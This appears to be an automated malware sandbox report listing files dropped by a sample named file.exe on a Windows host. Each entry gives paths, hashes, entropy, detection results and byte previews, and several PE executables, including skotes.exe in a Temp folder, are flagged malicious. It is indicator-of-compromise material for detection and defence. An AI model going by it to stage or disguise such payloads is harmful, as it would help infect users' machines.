SHA1:	F3CB50B272A51A9B44A76A08DFF953C8F29057D6
SHA-256:	08EBBC869EDE5CD6B7D1BFCFEA2CEFAE93FE30D1B8259B5726AF5518911BCAC8
SHA-512:	FE62140D3BA53726BDAAF57FB4D5615BEE894DD5DF0D316C6DFA40B0931DF7DDD6C729CDEE02E1BB2DD653906383FF996A55624264D9250BE35CC725E6CAD7EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@J...........@..........................pJ...........@.................................W...k...........................l'J..............................'J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...bleglpjp......0..\|..................@...ozncbdew.....0J......r..............@....taggant.0...@J.."...v..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873920
Entropy (8bit):	7.949549884851548
Encrypted:	false
SSDEEP:	49152:7o80CegY2qwZCssoYd6J0DmCza6XiuqbmbQg9UsJP:7o8hegJqwYoQmC+b8CU
MD5:	6FD2A1CD87446EB0BEA541E0D7388E1C
SHA1:	F3CB50B272A51A9B44A76A08DFF953C8F29057D6
SHA-256:	08EBBC869EDE5CD6B7D1BFCFEA2CEFAE93FE30D1B8259B5726AF5518911BCAC8
SHA-512:	FE62140D3BA53726BDAAF57FB4D5615BEE894DD5DF0D316C6DFA40B0931DF7DDD6C729CDEE02E1BB2DD653906383FF996A55624264D9250BE35CC725E6CAD7EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@J...........@..........................pJ...........@.................................W...k...........................l'J..............................'J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...bleglpjp......0..\|..................@...ozncbdew.....0J......r..............@....taggant.0...@J.."...v..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2809344
Entropy (8bit):	6.416146573936089
Encrypted:	false
SSDEEP:	24576:8gXDqv8VCSPwCzjdgbJxt16GA078YVNrjsZAiIp6GibE83DqqBo7esFJhb0VByDt:2v8EEvevT6GVNUuaWeqL4KxhK05Oh
MD5:	69E939844ED586ED304E0C4D9DB0BFC4
SHA1:	8A89C259EB36E4C84A54B3334815102EB167E6EB
SHA-256:	30B577B239E4946DC896A4FD26551414DA9F1DDFD0DE5A1B6D9F4CD31F05BB1C
SHA-512:	F4AB5F667083DFEB02643D84A0C59CE19F6DEB61BC5268DF859F4C75B247BC48EBF80D3144EB3FF40C08C255405241132F6687BC2FE811205BE9F85B817DB5D1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....&.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ucxgvins........\|..:..............@...nulvttal. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873920
Entropy (8bit):	7.949549884851548
Encrypted:	false
SSDEEP:	49152:7o80CegY2qwZCssoYd6J0DmCza6XiuqbmbQg9UsJP:7o8hegJqwYoQmC+b8CU
MD5:	6FD2A1CD87446EB0BEA541E0D7388E1C
SHA1:	F3CB50B272A51A9B44A76A08DFF953C8F29057D6
SHA-256:	08EBBC869EDE5CD6B7D1BFCFEA2CEFAE93FE30D1B8259B5726AF5518911BCAC8
SHA-512:	FE62140D3BA53726BDAAF57FB4D5615BEE894DD5DF0D316C6DFA40B0931DF7DDD6C729CDEE02E1BB2DD653906383FF996A55624264D9250BE35CC725E6CAD7EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@J...........@..........................pJ...........@.................................W...k...........................l'J..............................'J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...bleglpjp......0..\|..................@...ozncbdew.....0J......r..............@....taggant.0...@J.."...v..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.930160908573448
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNS9m:8S+OfJQPUFpOdwNIOdYVjvYcXaNLBB8P
MD5:	E02C66047BBA66B1170746DEF83501C1
SHA1:	9ECADD213876AA2BFAE128888797B3F530BB7B0A
SHA-256:	E67F6BBC81DB1C664F8A4AF3AB06BF718E53E15BC088D6630DE4477116B55CE3
SHA-512:	68E1675A552DE84F56B1D0A474DF43C0292567C6ACEE2030122EDF7108B9AD996C70CC557C989679AD0315BE2F8548F21D7E88C92420CB6172DCD8891DF7581D
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.930160908573448
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNS9m:8S+OfJQPUFpOdwNIOdYVjvYcXaNLBB8P
MD5:	E02C66047BBA66B1170746DEF83501C1
SHA1:	9ECADD213876AA2BFAE128888797B3F530BB7B0A
SHA-256:	E67F6BBC81DB1C664F8A4AF3AB06BF718E53E15BC088D6630DE4477116B55CE3
SHA-512:	68E1675A552DE84F56B1D0A474DF43C0292567C6ACEE2030122EDF7108B9AD996C70CC557C989679AD0315BE2F8548F21D7E88C92420CB6172DCD8891DF7581D
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03728099133490314
Encrypted:	false
SSDEEP:	3:GtlvVrYPK/y2tEIl1lvVrYPK/y2tultHlL9//2ltltl:GtUh2thl1Uh2t89XCt1
MD5:	8D0774642D9EBC89CAECA9795C84E531
SHA1:	8DDC0B153EF88AD60F935C1503BE61327861EDB6
SHA-256:	AD960FDDAFF0B4BCAEEA2BA23EC2155904A8A6EB1351E368DB2E4D790827EC6E
SHA-512:	FD5073CA9D4BB30B6A4094F5D8C3AFCFD3E80C8FB07901B3F8CBB19EB488AB3E2B88BFE7AF93CB2C659BE19D82D1C70689650C967D3E5AE007D2B42CCFC1668F
Malicious:	false
Preview:	..-.....................F}..>.8.N......DG..!...[..-.....................F}..>.8.N......DG..!...[........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	65616
Entropy (8bit):	0.034766656285666726
Encrypted:	false
SSDEEP:	3:Ol1DjnLaL4Ejtlgfr5IFBGFiwl8rEXsxdwhml8XW3RTfr5IjP8a7l8rEXsxdwhmu:K4L9tlOqF2l8dMhm93Zqgwl8dMhm93w
MD5:	DD6148016E4ECE7B70F271AA12D11E6F
SHA1:	C5303FF79D3C6F5B139B1E061637CD0F2489F8B6
SHA-256:	E61E6BA0C0E245B61D55D60BA6FCB45D19174063CE2232F073A182D152716BA5
SHA-512:	A978CD538446DF5834EBD7F4B32525EE07C7BBA4F1AE1D30CA2D83076AE52474AD5265261575F44C03FAE8A6641A3F22A6B656DED469BF4D50A044251A9681CB
Malicious:	false
Preview:	7....-..........N......D..a............N......D}.....d.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.489675552707655
Encrypted:	false
SSDEEP:	192:QnaRtLYbBp6Dhj4qyaaX86KlNhM5RfGNBw8djSl:teVquOmcwu0
MD5:	63FBEFBCACEB9BD15EF66F5DBA88A9F6
SHA1:	BFE70C0D304DBF8DBF3553555FDE1EBE51560604
SHA-256:	BD50154C84BFEFF7E61A24FA7B838F8D86CB6974039A1D42BE0CD528EA771D85
SHA-512:	D59AD77D8B0B70CFB7F49BB5B6985755FF4A3983EAE531F810661A128EF33E84CD52E945A5BBF630F593831A8AF8BDD45FC7DD3DB609EB0E49781756062EBF34
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730349164);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.489675552707655
Encrypted:	false
SSDEEP:	192:QnaRtLYbBp6Dhj4qyaaX86KlNhM5RfGNBw8djSl:teVquOmcwu0
MD5:	63FBEFBCACEB9BD15EF66F5DBA88A9F6
SHA1:	BFE70C0D304DBF8DBF3553555FDE1EBE51560604
SHA-256:	BD50154C84BFEFF7E61A24FA7B838F8D86CB6974039A1D42BE0CD528EA771D85
SHA-512:	D59AD77D8B0B70CFB7F49BB5B6985755FF4A3983EAE531F810661A128EF33E84CD52E945A5BBF630F593831A8AF8BDD45FC7DD3DB609EB0E49781756062EBF34
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730349164);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.034304929582319
Encrypted:	false
SSDEEP:	48:YrSAYnUH6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcb5:ycUHyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	AEBB9DF10C145CC8086C4683FB10EC63
SHA1:	F662388625B80B64B759CA85F2DA9C4F9B250642
SHA-256:	324A096BD07E80E70DD89E2AA2C502B9380663FF608ECD1DECD9332FB7BF5E31
SHA-512:	53175CA3C6CA1263E18FC5CBE52DC7693CB2F62C04F2217D97D4ECD77E3B8EB6BAC690D78E86E8CFA9FFA02AAC422F0A1FA8ACE7C145753D3FA74A4679269154
Malicious:	false
